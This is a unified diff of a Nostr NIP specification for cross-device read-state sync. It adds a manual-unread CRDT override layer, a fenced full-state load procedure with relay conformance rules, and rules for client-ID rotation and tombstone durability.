+A full-state load therefore MUST be fenced by a live subscription on the same tag-free filter, established **before** the first enumeration query and held unbroken for the duration of the load. The fence is *established* when the client has received end-of-stored-events for that subscription, not when it sent the request: sending a request is not an observation, and the relay's answer to it is the first point at which the client knows the subscription is registered and that what the relay accepts from then on will be pushed to it. The fence and every enumeration query MUST be issued on the same connection.
+
+Every event the fence delivers is collected exactly as an enumerated event is (step 2), which is what repairs the moved coordinate: the replacing event is itself what the relay pushes. Delivery is necessary but not sufficient — it must be delivery *before the verdict*, and those are different properties. Under push delivery alone, a relay that accepts a replacement, removes the version sitting below the cursor, and pushes the replacement some time later has violated nothing: the enumeration in between finds neither version, the pinned window and the continuation both come back empty, and the load reports *complete* moments before the fence delivers the floor it was missing. Ordering that push ahead of the verdict is what the delivery barrier below requires of the relay. On the client side, the verdict MUST NOT be rendered until end-of-stored-events for the final continuation has been received and every fence delivery received before it has been collected.
+
+If the client did not hold such a subscription for the whole load, or it lapsed or reconnected at any point during it, the load is potentially incomplete regardless of what the enumeration returned. A client MUST NOT publish to its own coordinates while its own load is in progress; a self-inflicted replacement is the same defect with the client on both ends of it.
+
+1. Every query MUST carry the same explicit `limit` `n`, `n` MUST be at least `L`, and no query MUST constrain tags. `C` and the floor are only meaningful across queries that differ solely in their time bounds. `n` SHOULD be substantially larger than `L`: `n` bounds how many events a single band can retrieve, so a small `n` costs round trips without making any verdict safer.
+2. From each delivered event, collect the read-state coordinates — those whose `d` tag has the form `read-state:<slot-id>` — deduplicating by `d` tag value and retaining, of the entries sharing a `d` tag value, the one with the greatest `created_at`, and on equal `created_at` the one with the lexicographically lowest event id. That is the addressable ordering NIP-01 defines, and both halves of it are load-bearing here: a replacement published in the same second as the version it replaces is legal and is the one the relay retains, so a retention rule that only compares `created_at` may keep the superseded version even when the fence delivered its successor perfectly. Ignore the other events, but count them: they are part of what the cap returned. Events the fence delivers are collected the same way, but MUST NOT contribute to `T` or to `C`: they are not a query result, and an event arriving below the cursor would otherwise move it down and skip the band between. Collection is what recovers a moved coordinate; the cursor descends on query results alone.
+3. Let `T` be the lowest `created_at` across **all** events delivered by the queries in this load, not only the read-state ones. The cursor therefore advances on every non-empty page, including one that yielded no coordinate.
+4. Before advancing past `T`, the client MUST query the pinned window `{"since": T, "until": T}` and merge the result. A cap can cut mid-second, leaving events at `T` that a continuation at `"until": T - 1` would skip forever; pinning both bounds to one second removes every event outside that second from contention for the cap.
+5. Second `T` is exhausted only if that pinned query delivered fewer than `max(C, L)` events. If it delivered `max(C, L)` or more, the cap may have bound inside the second, no finer cursor exists on the standard filter surface, and the load is **potentially incomplete** and MUST be reported as such. This verdict is terminal for the load: the client MUST NOT continue to step 6, and no later observation upgrades it. A continuation past an undischarged second can deliver nothing simply because that second was the oldest, so an empty continuation is not evidence that the second above it was exhausted.
+6. Otherwise continue with `"until": T - 1`. Because a bare `until` is inclusive, decrementing guarantees each continuation covers a strictly older band, so the loop makes progress regardless of how the relay caps.
+7. The load is **complete** when a continuation delivers no events at all, every preceding second having been discharged by step 5, the fence having been established before the first query and held unbroken since, and every fence delivery received up to that continuation's end-of-stored-events having been collected. Because the filter constrains nothing the relay applies after its cap, an empty delivery is an empty result — a cap that returns nothing is not a cap.
+8. A load that failed, or whose fence lapsed, on any relay the client publishes to is potentially incomplete (see Read-Before-Write).
+
+This layer places five requirements on every relay a client performs a full-state load against. They are stated normatively, not as background assumptions, because a *complete* verdict rests on them and none of them is verifiable from the responses a client receives:
+
+- **Newest-first prefix delivery.** A capped result MUST consist of the newest events by `created_at` for the filter, ties broken by lowest id — the delivery NIP-01 already specifies for `limit`. A relay that caps by returning some other subset can omit an event lying *above* the cursor the client derives from that same delivery, so the omitted event is never queried at all. Repeating a query cannot recover it, because the same filter with the same bounds is the same request.
+- **Non-decreasing effective cap within a load.** A relay MUST NOT reduce, within a single load, the number of events it will deliver for queries that differ solely in their time bounds. A cap that shrinks between the query establishing `C` and a later pinned window makes that window's short delivery indistinguishable from exhaustion, which converts a truncated second into a discharged one.
+- **The floor `L`.** A relay MUST deliver at least `L` events for a query whose matching set holds at least `L` and whose requested `limit` is at least `L`. `L = 2`, fixed by this NIP; a client MUST NOT derive it from relay-advertised discovery, because an advertised maximum is not necessarily the limit a relay enforces.
+- **Push delivery on an open subscription.** A relay MUST deliver every event it accepts that matches an open subscription's filter to that subscription. The mutation fence in step 2 is exactly this delivery; a relay that accepts a replacement without pushing it gives the client no way to observe a coordinate that moved above the cursor.
+- **The delivery barrier.** Before a relay sends end-of-stored-events for a query, every event it accepted before that query read its stored events, and which matches an open subscription on the same connection, MUST already have been delivered to that subscription. Push delivery alone promises only that the replacement arrives eventually; the barrier is what places it before the verdict that depends on it. Without it, a relay whose accept path and query path proceed independently can answer a query from storage the replacement has already changed while the corresponding push is still pending, and the client discharges the load in the interval between the two.
+
+A client cannot distinguish a relay that violates any of these from one that simply had fewer events to return, so these are conformance preconditions of this layer rather than properties a load establishes. A client MUST NOT perform a full-state load against a relay it knows, or has evidence, to violate them, and MUST treat any load against such a relay as potentially incomplete. Conditioning *complete* on positive proof of these properties instead would be equivalent to never issuing it — no such proof exists on the standard filter surface — which would withdraw the override layer from every client rather than from the non-conforming relays.
+
+The comparison in step 5 fails safe: a pinned window is reported potentially incomplete unless the relay has already shown it will deliver at least that many at once, so an inconclusive result is never mistaken for an exhaustive one. A plateau of more events at a single `created_at` than the relay will deliver for a window pinned to that second is therefore unenumerable, because this NIP defines no finer cursor, and it resolves to *cannot prove complete* rather than to a false *complete*. The comparison is a lower bound on the cap rather than the cap itself, so it is also conservative in the other direction: a load whose oldest second holds as many events as the largest delivery observed so far resolves to *cannot prove complete* even where the relay would have delivered more. Where more than one coordinate exists this is transient, because any later publish moves that coordinate to a different second and separates the two.
+
+The floor is the narrowest of the five requirements and the one that makes the ordinary case reachable at all. A coordinate at a replaceable kind contributes exactly one event no matter how many times it is republished, because a republish replaces the previous version rather than appending to it; a client's event count at this kind therefore does not grow over time, and a single-installation client publishing under one coordinate has one event at one second permanently. Without a floor, `C` for such a client is one, its pinned window delivers one, and step 5 can never be discharged — mark-unread would be permanently unavailable to the most common conforming deployment, and no amount of waiting or republishing would change the observation. `L = 2` discharges it: the pinned window delivers one event, `max(C, L)` is two, `1 < 2`, the second is exhausted, and the continuation below it is empty. That same replacement behaviour is what the fence exists for: the one event a coordinate contributes can move, and it moves by being replaced.
+
+A **potentially incomplete** load MUST NOT be the basis for any of the following, each of which either destroys override state or asserts authority over it:
+
+- canonical compaction of an override register (see Mandatory Canonical Publication),
+- publishing a canonicalized override blob,
+- deleting or abandoning any coordinate (see Orphaned Blob Deletion),
+- reporting an explicit mark-read as successful (see Actions).
+
+Until a complete load succeeds, the client MUST evaluate unread state from its own locally persisted state and MUST report override actions as failed rather than acting on a partial view. The honest terminal states are *complete* and *cannot prove complete*; a client MUST NOT treat the second as the first.
+
+The number of coordinates a full-state load must retrieve is bounded by the number of installations that have ever used the override layer, plus their not-yet-deleted rotation predecessors. It grows with the user's device history, not with elapsed time, and — because a coordinate carrying `ov_*` entries may not be deleted until it has been carried forward (see Client-ID Rotation) — it does not shrink on its own. Clients SHOULD carry forward and delete rotation predecessors promptly so the count stays near one coordinate per live installation.
 
 ### Merge Rule
 
@@ -311,6 +388,8 @@ effective[context] = max(timestamp) across all blobs
 
 This is a grow-only max-register state-based CvRDT with an associative, commutative, idempotent join. Clients MUST NOT lower a read timestamp — only advance it.
 
+The manual-unread override layer (see Manual-Unread Override Layer below) adds per-context set/clear counters merged by the same componentwise `max()` rule. The frontier merge rule is unchanged.
+
 ### Writing
 
 Clients MAY publish read state automatically when read-position sync is part of
@@ -320,28 +399,32 @@ to other users MUST require explicit user consent.
 
 Clients SHOULD publish read state blobs to the same relays they use for general event storage. Clients that implement NIP-65 (relay list metadata) SHOULD publish to their write relays and fetch from their read relays.
 
-Each client instance maintains its own blob (one `kind:30078` event per `<slot-id>`). Writing replaces the previous blob via parameterized replaceable event semantics ([NIP-33](33.md)).
+Each client instance maintains its own primary blob (one `kind:30078` event at its primary coordinate), plus one event per additional frontier-only coordinate if it uses any. Writing replaces the previous blob at each coordinate via parameterized replaceable event semantics ([NIP-33](33.md)).
 
-Clients MUST only update the blob whose decrypted `client_id` matches their own `client_id`. Clients MUST NOT overwrite another instance's blob.
+Clients MUST only update blobs whose decrypted `client_id` matches their own `client_id`. Clients MUST NOT overwrite another instance's blob.
 
-If the client discovers multiple blobs with its own `client_id` during a fetch, it MUST select the one with the highest `created_at` as its active blob and SHOULD delete the others.
+If the client discovers same-`client_id` blobs at coordinates that are neither its primary nor one of its known additional coordinates (e.g., rotation orphans or backup/restore duplicates), it MUST merge them into its own state and MUST NOT delete them until their override state has been carried forward (see Orphaned Blob Deletion). It MUST NOT publish to them: its own writes go to its primary and its known additional coordinates only.
 
 #### Read-Before-Write
 
 Before publishing, a client MUST:
 
-1. Fetch its own current blob from each relay it intends to publish to, and merge all fetched versions.
+1. Fetch its own current blob(s) from each relay it intends to publish to, and merge all fetched versions.
 
-The client fetches its own blob using its known `d` tag value:
+A client fetches its own coordinates using their known `d` tag values — its primary, plus its additional frontier-only coordinates if any — and unions them componentwise:
 
 ```json
-{"kinds": [30078], "authors": ["<user-pubkey>"], "#d": ["read-state:<own-slot-id>"]}
+{"kinds": [30078], "authors": ["<user-pubkey>"], "#d": ["read-state:<own-primary-slot-id>", "read-state:<own-additional-slot-id>", ...]}
 ```
 
-2. Decrypt and merge the fetched blob with local state using `max()` per context.
+A read-before-write fetch of the client's own coordinates is not a full-state load: it cannot discover rotation orphans or duplicates. Before canonicalizing override state or publishing a canonicalized override blob, the client MUST have a complete full-state load (see Full-State Load).
+
+2. Decrypt and merge the fetched blob(s) with local state using `max()` per context.
 3. Publish the merged result.
 
-If a relay is unreachable during the fetch step, the client SHOULD proceed with the data available from reachable relays. The merge rule ensures that data from the unreachable relay will be incorporated on the next successful fetch, provided the relay retains the event. Permanent relay loss or event expiry may result in state loss — this is an accepted property of the best-effort model (see Non-Goals).
+If a relay is unreachable during the fetch step, the client SHOULD proceed with the data available from reachable relays. The merge rule ensures that data from the unreachable relay will be incorporated on the next successful fetch, provided the relay retains the event. Permanent relay loss or event expiry may result in loss of frontier state — this is an accepted property of the best-effort model (see Non-Goals).
+
+That accepted loss does not extend to override state. A client MUST NOT treat a fetch that failed on any relay it publishes to as a complete view of its own override state, and MUST NOT canonicalize, publish canonicalized override state, or delete or abandon any of its own coordinates on the basis of such a partial fetch (see Full-State Load). Clients implementing the override layer SHOULD publish override state to more than one relay so that the loss of a single relay does not erase a tombstone floor.
 
 This read-before-write requirement also applies to re-publishes triggered by incoming blobs from other instances (see Live Subscription and Convergence).
 
@@ -358,12 +441,14 @@ Clients SHOULD subscribe to `kind:30078` events for their own pubkey with `#t: [
 When a blob from another client instance arrives (i.e., its decrypted `client_id` does not match the client's own `client_id`):
 
 1. Merge it into local state using `max()` per context.
-2. If any context timestamp in the incoming blob is greater than the corresponding timestamp in the client's last-published blob (or the context is absent from the last-published blob), perform a read-before-write and re-publish the client's own blob after a debounce delay.
-3. Clients MUST suppress the re-publish if the merged result is identical to the client's last-published blob. A client that has never published treats its last-published blob as empty.
+2. Canonicalize the merged override state against the client's own effective frontier (applying the tombstone floor and live/dead/virgin rules from Mandatory Canonical Publication). If any context entry in the canonical merged result differs from the corresponding entry in the client's last-published canonical blob (or the context is absent from the last-published blob), perform a read-before-write and re-publish the client's own blob after a debounce delay.
+3. Clients MUST suppress the re-publish if the canonical merged result is identical to the canonical form of the client's last-published blob. Comparing canonical-to-canonical prevents a retained live peer blob (which the client has already tombstoned) from triggering an identical write on every replay. A client that has never published treats its last-published blob as empty.
 4. Clients SHOULD limit re-publishes triggered by incoming blobs to at most one per debounce window, regardless of how many blobs arrive during that window.
 
 This drives convergence without a coordination round-trip, assuming eventual relay reachability and event retention.
 
+A live subscription is not a full-state load. A relay MAY return a capped set of stored events before end-of-stored-events on this filter, so a client implementing the override layer MUST NOT treat what the subscription delivers as a complete view of its coordinates (see Full-State Load). Merging an incoming blob into local state (step 1) is always safe, because merge is componentwise `max()`; the canonicalize-and-re-publish in steps 2–3 is a canonical publication and therefore requires a complete full-state load. A client that does not have one MUST defer the re-publish rather than publish a canonical blob derived from a partial view. A subscription is nonetheless a required *component* of a full-state load, serving as its mutation fence, and the fence MUST use the tag-free filter rather than the `#t`-narrowed one above — a replacement it fails to deliver is a replacement the descending enumeration cannot recover.
+
 #### Clock Skew
 
 When publishing, if the client's local clock produces a `created_at` value less than or equal to the maximum `created_at` seen across all fetched blobs for the same `d` tag, the client MUST use `max_fetched_created_at + 1` instead.
@@ -372,17 +457,158 @@ When publishing, if the client's local clock produces a `created_at` value less
 
 Clients SHOULD debounce writes to avoid excessive relay traffic (e.g., flush 5–10 seconds after the last local read-state change, or on app close/background transition). Clients MUST NOT write on every individual read action.
 
-The blob SHOULD contain only contexts the client has explicitly interacted with. Clients SHOULD prune aggressively, prioritizing recently-active contexts, and MAY drop entries older than the time horizon before writing. Clients MUST ensure the published event does not exceed relay event size limits (typically 64 KB content).
+The blob SHOULD contain only contexts the client has explicitly interacted with. Clients SHOULD prune aggressively, prioritizing recently-active contexts, and MAY drop frontier entries older than the time horizon before writing. Clients MUST NOT drop `ov_*` override entries (including tombstone floors) based on age or budget pressure; see Override State Durability in the Manual-Unread Override Layer section. Clients MUST ensure the published event does not exceed relay event size limits (typically 64 KB content).
 
 #### Client-ID Rotation
 
-Clients MAY rotate their `client_id` by generating a new one, generating a new random `<slot-id>`, and publishing a new blob. The old blob becomes orphaned and ages out of the time horizon naturally. Rotation adds one extra blob temporarily. Clients SHOULD keep their `client_id` stable for as long as possible to minimize blob proliferation.
+Clients MAY rotate their `client_id` by generating a new one, generating a new random `<slot-id>` for the primary coordinate, and publishing a new blob. Rotation adds one extra blob temporarily. Clients SHOULD keep their `client_id` stable for as long as possible to minimize blob proliferation.
+
+Rotation is the only event that changes a client's override-bearing coordinate, and it carries the layer's single durability obligation:
+
+**Carry-forward rule.** Before deleting or abandoning its previous primary, a rotating client MUST publish the componentwise `max()` of every override register the old primary holds — every tombstone ceiling included — under its new primary, and MUST confirm acceptance **on every relay from which the old primary will be deleted or allowed to lapse**. If any such relay rejects the publish or is unreachable, the client MUST retain the old primary on that relay and MUST NOT delete it there. Acceptance on one relay does not authorize deletion on another: a relay that never received the replacement would otherwise be left with no local carrier of the floor. The old primary MUST NOT be left to age out while it is the only carrier of an override floor on any relay.
 
-If a device backup or clone results in two installations sharing the same `client_id` and `slot-id`, both will write to the same blob. This is operationally equivalent to a single client and does not corrupt state, but the two installations will overwrite each other's context entries. Clients that detect this condition (e.g., by observing unexpected context changes in their own blob) SHOULD generate a new `client_id` and `slot-id`.
+Additional frontier-only coordinates carry no override state, so rotation may abandon or delete them freely.
+
+If a device backup or clone results in two installations sharing the same `client_id` and primary `<slot-id>`, both will write to the same coordinate. This is operationally equivalent to a single client and does not corrupt state, but the two installations will overwrite each other's context entries. Clients that detect this condition (e.g., by observing unexpected context changes in their own blob) SHOULD generate a new `client_id` and a fresh primary `<slot-id>`, again carrying override state forward per the carry-forward rule.
 
 #### Orphaned Blob Deletion
 
-Clients MAY delete blobs from decommissioned client instances by publishing a `kind:5` deletion event per [NIP-09](09.md) targeting the orphaned event's `a` tag coordinate (`30078:<pubkey>:<d-tag-value>`). This is optional — orphaned blobs are harmless and age out naturally.
+Clients MAY delete blobs from decommissioned client instances by publishing a `kind:5` deletion event per [NIP-09](09.md) targeting the orphaned event's `a` tag coordinate (`30078:<pubkey>:<d-tag-value>`). For blobs carrying no `ov_*` entries — including a client's own additional frontier-only coordinates — this is optional and unconditional: such blobs are harmless and age out naturally.
+
+A blob carrying `ov_*` entries MUST NOT be deleted or abandoned until its override state has been carried forward per the carry-forward rule in Client-ID Rotation. This applies to the client's own previous primary and to same-`client_id` orphans discovered from a prior rotation or a backup/restore. A client's record of its own coordinates MAY be stale — for example restored from a backup taken before a rotation — so an unknown same-`client_id` coordinate MUST be treated as a live carrier of override state, not as a deletable duplicate, until it has been merged and carried forward.
+
+### Manual-Unread Override Layer
+
+This section defines a manual mark-as-unread mechanism as a CRDT override layer within the existing `contexts` map. It does not change the frontier merge rule, event structure, or encryption scheme. Fetching follows the override-specific full-state procedure (see Full-State Load) rather than the horizon-bounded fetch used by clients that do not implement this section. Clients that do not implement this section remain fully interoperable (see Backwards Compatibility).
+
+#### Wire Encoding
+
+For each manually-unread context `<ctx>`, a client publishes up to three sibling keys alongside the existing frontier entry in the `contexts` map:
+
+| Key | Type | Description |
+|-----|------|-------------|
+| `ov_s:<ctx>` | uint32 | Set counter S — incremented on each mark-unread |
+| `ov_c:<ctx>` | uint32 | Clear counter C — incremented on each mark-read |
+| `ov_b:<ctx>` | uint32 | Baseline B — the effective frontier value at the time of the most recent mark-unread |
+
+Values MUST be integers in the range 0–4294967295 (same validation range as context timestamps). The `<ctx>` suffix is the raw context ID without any escaping (escaping applies only to the frontier wire key; see Reserved Namespace).
+
+#### Merge Rule (Override Registers)
+
+Override counters are merged by componentwise `max()`, identical to the frontier merge rule:
+
+```
+merged_S[ctx] = max(S) across all blobs
+merged_C[ctx] = max(C) across all blobs
+merged_B[ctx] = max(B) across all blobs
+```
+
+No new wire-level merge logic is required. The same `mergeReadStateEvents` path that joins frontier timestamps joins the counter entries as integer max.
+
+#### Liveness Predicate
+
+A context `ctx` has an active manual-unread override if and only if ALL of the following hold, evaluated against the merged register `(S, C, B)` and the merged effective frontier `F`:
+
+1. `S > 0` — at least one mark-unread action has been recorded.
+2. `F <= B` — the effective frontier has not advanced past the baseline captured at mark-unread time. (A natural frontier advance strictly past `B` dominates a stale set, clearing the override without any explicit clear action.)
+3. `S > C` — set counter exceeds clear counter. (`S == C` is treated as inactive: clear wins on ties — see Tie Policy.)
+
+Formally (clear-wins is the only conforming tie policy — see Tie Policy):
+
+```
+override_active(S, C, B, F) =
+  S > 0
+  AND F <= B
+  AND S > C
+```
+
+The **unread verdict** for a context is:
+
+```
+unread(ctx) = (latest_message_ts > F) OR override_active(S, C, B, F)
+```
+
+where `latest_message_ts` is the `created_at` of the newest message in the context.
+
+#### Actions
+
+Every action below requires a complete full-state load (see Full-State Load); on a potentially incomplete load the client MUST report the action as failed rather than act on a partial view of its own override state.
+
+**Mark-unread:** increment S to `max(S, C) + 1`; set B to the current effective frontier value for the context. C is unchanged. If `max(S, C) == 4294967295` (uint32 maximum), the client MUST refuse the mark-unread action and leave the register unchanged; wrapping or resetting to zero is prohibited.
+
+**Mark-read (explicit):** advance the frontier to cover the context as normal; increment C to `max(S, C) + 1`. S and B are unchanged. If `max(S, C) == 4294967295`, no representable counter increment exists; wrapping or resetting to zero is prohibited. The client MUST then complete the action only if the resulting state satisfies `override_active == false` — i.e. the frontier advance alone deactivates the override, or the override was already inactive. Otherwise the counters MUST be left unchanged and the client MUST report the mark-read as failed; the monotone frontier advance itself is still permitted, but a client MUST NOT report an explicit mark-read as successful while `override_active` remains true.
+
+**Natural read (frontier advance):** advance the frontier past B. No counter update is needed — the liveness predicate's `F <= B` condition automatically deactivates the override when the frontier dominates the baseline.
+
+#### Tombstone Floor
+
+A register where `S > 0` or `C > 0` (ever-active) that evaluates as inactive MUST be compacted to the tombstone floor before publication:
+
+```
+tombstone = RegB(S=0, C=max(S, C), B=0)
+```
+
+This preserves the counter ceiling as a reuse-blocking floor. A register where `S == 0` and `C == 0` (virgin, never activated) MUST be omitted from the wire entirely (0 keys).
+
+#### Mandatory Canonical Publication
+
+Publishers MUST canonicalize every override against their own effective frontier at serialization time before writing to the wire:
+
+- **Live override** (`override_active` is true): publish all three keys (`ov_s:`, `ov_c:`, `ov_b:`) with their current values unchanged.
+- **Dead override** (`override_active` is false, `S > 0` or `C > 0`): publish only the tombstone floor — a single `ov_c:` key with value `max(S, C)`.
+- **Virgin register** (`S == 0` and `C == 0`): omit all three keys from the wire.
+
+This is a protocol requirement, not an optimization. A client that publishes raw (non-canonical) dead registers can cause two independently-dead registers from different devices to produce a live join on merge. See `docs/formal/nip-rs-unread/` for the exhaustive proof and mutation harness.
+
+#### Override Group Co-Location Rule
+
+A context's frontier entry and ALL of its `ov_*` sibling entries MUST travel in the same event, and that event MUST be the primary coordinate. Because all `ov_*` entries live in the primary (see `d` Tag), an override-bearing context has exactly one legal destination for its whole group: a client that splits frontier entries into additional coordinates MUST NOT move the frontier entry of an override-bearing context out of the primary, and MUST NOT place `ov_*` entries anywhere else. Only frontier-only groups — contexts with no `ov_*` entries — may be distributed across additional coordinates.
+
+Implementations that split blobs across coordinates MUST group context entries per logical context — not per individual key — and assign the entire group atomically to one coordinate. Round-robin or other assignment strategies MUST operate on groups, not on individual entries.
+
+**Unescape-before-group rule (corollary):** when grouping, a frontier wire key MUST be unescaped to its raw logical context ID (stripping one leading `esc:` if present) before being used as the group identity. Without this step, a frontier key `esc:ov_s:evil` and its `ov_*` siblings (keyed by the raw suffix `ov_s:evil`) resolve to different groups and the register splits across coordinates, reproducing the partial-reconstruction poison across publication cycles.
+
+**Rationale:** a receiver holding only a partial group (e.g., `ov_s:ctx` without `ov_b:ctx`) reconstructs a register with incorrect baseline and may canonically publish a false tombstone. With atomic grouping, a compliant publisher's output never permits partial reconstruction.
+
+#### Tie Policy
+
+**Clients MUST use clear-wins.** When `S == C` and `S > 0`, the override MUST be treated as inactive, and the register MUST be compacted to the tombstone floor on publication (see Tombstone Floor).
+
+Clear-wins is normative rather than a local implementation choice because the tie verdict is not encoded on the wire. Two conforming clients holding the same merged register `(S, C, B, F) = (1, 1, 10, 10)` would otherwise disagree permanently: a clear-wins client reports read and publishes the single-key tombstone floor, a set-wins client reports unread and publishes all three keys. Further deliveries converge the counters but can never converge either the verdict or the canonical wire form, which defeats cross-device synchronization. Supporting a selectable tie policy would require encoding the policy in the blob plus a separate interoperability design; neither is in scope here.
+
+Clear-wins also matches the product semantics this layer is designed for: a false negative (a missed badge) is recoverable by re-marking unread, while a false positive (a badge that will not clear) is more disruptive. See `docs/formal/nip-rs-unread/NOTE.md` for the policy comparison — both policies satisfy the merge-correctness invariants in isolation, so this is an interoperability requirement, not a merge-safety one.
+
+#### Override State Durability
+
+`ov_*` override entries — especially tombstone floors (`ov_c:` keys) — carry a reuse-blocking counter ceiling that prevents stale override components from resurrecting a dead register. Specifically, if a tombstone floor `(S=0, C=k, B=0)` is dropped and a stale snapshot `(S=k, C=0, B=b)` is later replayed, the merged result `(S=k, C=0, B=b)` would evaluate as live — a resurrection.
+
+Because legacy clients can carry and republish old `ov_*` keys indefinitely (they pass through `sanitizeContexts` as unknown opaque entries), there is no finite time after which all stale override components are guaranteed absent. Therefore:
+
+**Clients MUST NOT drop `ov_*` override entries (including tombstone floors) based on age pruning or budget eviction.** This exemption applies permanently. Age-based pruning applies to frontier entries only. Eviction strategies that respect byte/key budgets MUST apply to frontier and `msg:`/`thread:` entries first and MUST NOT touch `ov_*` entries.
+
+**Durability is a property of retrievable logical state, not of keys within one blob.** An override register survives only if a client that loads its full state can still reach every component. Therefore, in addition to the per-entry rule above:
+
+- Full-state loads by clients implementing this layer MUST NOT be restricted by a finite event-level `since` window, and MUST establish completeness rather than assume it; the containing event must remain reachable, not merely retain its keys (see Full-State Load).
+- No coordinate carrying `ov_*` entries may be deleted or abandoned until the componentwise `max()` of every override register it holds — especially every tombstone ceiling — has been republished under the client's current primary coordinate and accepted on every relay from which the old coordinate will be deleted or allowed to lapse (see Client-ID Rotation, Orphaned Blob Deletion).
+
+**There is no safe finite GC horizon for override state.** Any protocol that proposes to delete tombstone floors after a bounded period requires a separately proved guarantee that no stale override component can re-enter the merge — this amendment does not provide such a guarantee.
+
+#### Bounds and Budget
+
+- **Key growth:** a live override adds 3 entries per context; a tombstoned override adds 1 entry per context. At 100 overridden channel contexts: ~300 live entries or ~100 tombstone entries.
+- **Byte cost (small-counter example, common case):** channel UUID context (36 chars), counters S=1/C=0/B=10 — live override ~138 bytes; tombstone ~45 bytes. **Byte cost at uint32 maximum** (S=4294967295, worst case): live override ~164 bytes; tombstone ~54 bytes.
+- **Hard ceiling on ever-overridden contexts.** Because all `ov_*` entries live in one coordinate (see `d` Tag) and tombstones can never be pruned (see Override State Durability — there is no safe finite GC horizon), the primary blob's plaintext budget is a hard ceiling on the number of contexts a single installation can ever have manually marked unread. Against a 32 KiB plaintext budget: roughly **600** tombstoned contexts at the worst-case ~54 bytes, ~730 at the common ~45 bytes, or ~199 simultaneously live overrides at ~164 bytes — and that is before frontier entries get any room at all.
+- **Terminal behaviour at the ceiling.** When the primary blob cannot accommodate a new override group after all prunable frontier entries have been evicted, the client MUST refuse the mark-unread action and report it as failed. It MUST NOT split override state across coordinates and MUST NOT drop tombstone floors to make room. Likewise, a client whose merged override state — including tombstones merged in from peer installations — no longer fits in its primary blob MUST leave its last-published primary in place, MUST NOT publish a primary that omits merged `ov_*` entries, and MUST report override actions as failed; publishing a truncated override set is budget-driven override loss under another name. No floor is lost in this state, because the installations that originated those floors still carry them; the constrained installation simply stops acting as a replica until it has room. This is the same policy shape as counter exhaustion (see Actions): visible failure, never silent degradation.
+- **10,000-key limit:** override entries count toward the existing per-blob validation limit. Tombstones accumulate permanently with every distinct ever-overridden context; they cannot be pruned. Clients SHOULD compact dead overrides aggressively and MAY enforce an active-live-override cap. Note that a cap on live overrides does not bound the total `ov_*` entry count over an unbounded context lifetime — tombstones from all historical overrides remain. The 32 KiB and 10,000-entry limits are expressed per blob at write time; a client that has overridden many distinct contexts over its lifetime must account for all accumulated tombstones when evaluating budget headroom.
+- **256-byte key limit:** override keys (`ov_s:`, `ov_c:`, `ov_b:` + context ID) count toward the per-entry 256-byte validation limit. Context IDs up to 251 bytes are safe. Buzz's own context ID shapes (UUID 36 bytes, `msg:hex64` 68 bytes, `thread:hex64` 71 bytes) are well within this limit.
+
+#### Verification Artifact
+
+The design was verified by bounded exhaustive model checking prior to this amendment. See `docs/formal/nip-rs-unread/` for the full model (`model.py`, `exhaustive.py`), 9-mutant harness (`mutation.py`), and design notes (`NOTE.md`).
+
+The harness verifies the three load-bearing safety requirements — tombstone floor, mandatory canonical publication, and atomic per-context grouping with unescape-before-group — are necessary: each mutant that drops one of these rules produces a detectable witness of permanent false-clear or resurrection. M3 validates that the clear-wins tie policy produces the intended product-semantics behavior; M5 and M6 witness value-range and convergence failures respectively. Clear-wins is normative for interoperability (see Tie Policy), not because set-wins violates merge safety — the model confirms both tie policies satisfy the merge-correctness invariants when applied uniformly.
+
+**Scope of formal verification:** the bounded model covers the CRDT register algebra, merge/compaction rules, per-context grouping atomicity, and escape/unescape bijection. The model is a broader predecessor of this NIP: its `split_blob_into_slots` permits override groups in any slot, whereas this NIP confines them to one primary coordinate, so the verified atomicity property holds for every arrangement this NIP permits but the converse does not follow. The model does **not** verify the single-primary rule, the full-state-load completeness procedure, the relay conformance requirements or the mutation fence it depends on, or the carry-forward rule; those are normative here and argued, not proved. The model also does NOT cover malformed-group wire validation (the accepted-shape rules in Content Validation). That rule is sound by the partial-group argument (rejecting a partial group leaves a virgin register — a merge no-op — which is strictly safer than zero-filling missing components), but its correctness under parser-level implementation is outside the model's verified scope. Implementation-level tests MUST cover the accepted wire shapes and rejection behavior.
 
 ## Example
 
@@ -504,9 +730,9 @@ The conversation key is `nip44_conversation_key(private_key, public_key)` — EC
 
 ### Conflict Detection Vector
 
-Device A has `slot-id` = `aaa111` and `client_id` = `client-A`. It fetches its own `d` tag coordinate `read-state:aaa111` and decrypts the blob. The decrypted `client_id` is `client-B` (not `client-A`). This is a slot-id conflict — another device has claimed this coordinate.
+Device A has `slot-id` = `aaa111aaa111aaa111aaa111aaa111aa` and `client_id` = `client-A`. It fetches its own `d` tag coordinate `read-state:aaa111aaa111aaa111aaa111aaa111aa` and decrypts the blob. The decrypted `client_id` is `client-B` (not `client-A`). This is a slot-id conflict — another device has claimed this coordinate.
 
-Device A MUST NOT publish to `read-state:aaa111`. Device A MUST generate a new random `slot-id` (e.g., `ccc333`) and publish its blob under `read-state:ccc333`.
+Device A MUST NOT publish to `read-state:aaa111aaa111aaa111aaa111aaa111aa`. Device A MUST generate a new random `slot-id` (e.g., `ccc333ccc333ccc333ccc333ccc333cc`) and publish its blob under `read-state:ccc333ccc333ccc333ccc333ccc333cc`.
 
 ### Clock Skew Vector
 
@@ -541,7 +767,7 @@ Ciphertext length reveals the approximate number of tracked contexts and may cor
 
 Because slot IDs are random and independent of `client_id` values, relay operators cannot directly link blobs to specific devices or client implementations. Timing correlation and write patterns may still allow probabilistic linkage.
 
-Because the merge rule is monotonic, replaying an old event to a relay is harmless — it cannot lower a read timestamp. However, replaying many old events simultaneously could trigger convergence re-publishes from active clients. The debounce window (see Debounce and Pruning) limits this to at most one re-publish per window.
+Because the frontier merge rule is monotonic, replaying an old frontier event to a relay is harmless — it cannot lower a read timestamp. The override layer's counter merge is also monotonic (componentwise max), so replaying an old override event cannot lower a counter; however, a stale override component replayed after a tombstone floor was published could suppress a fresh set for one reconciliation cycle (see Override State Durability). The debounce window (see Debounce and Pruning) limits convergence re-publishes to at most one per window.
 
 Clients supporting multiple Nostr identities SHOULD use distinct `client_id` values and distinct slot IDs per identity. Reusing identifiers across pubkeys allows relay operators to link those identities.
 
@@ -557,10 +783,13 @@ that expose read activity to other users MUST require explicit user consent.
 
 ## Backwards Compatibility
 
-This NIP introduces no changes to existing event kinds or relay behavior. It uses only standard NIP-01 event storage, NIP-33 addressable event semantics, NIP-44 encryption, and NIP-78 application data conventions. Clients that do not implement this NIP are unaffected.
